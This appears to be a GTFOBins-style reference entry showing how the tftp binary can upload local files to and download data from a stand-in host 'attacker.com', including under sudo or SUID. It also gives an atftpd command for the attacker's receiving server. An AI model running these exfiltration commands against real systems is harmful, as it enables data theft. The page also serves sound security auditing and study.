Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    tftp attacker.com
    put /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tftp attacker.com
    put /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tftp attacker.com
    put /path/to/input-file
    ReceiverA TFTP server can be used on the attacker box to receive the data.
    atftpd --no-fork --verbose --daemon --no-fork --user root.root .

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    tftp attacker.com
    get /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tftp attacker.com
    get /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tftp attacker.com
    get /path/to/input-file
    SenderA TFTP server can be used on the attacker box to send the data.
    atftpd --no-fork --verbose --daemon --no-fork --user root.root .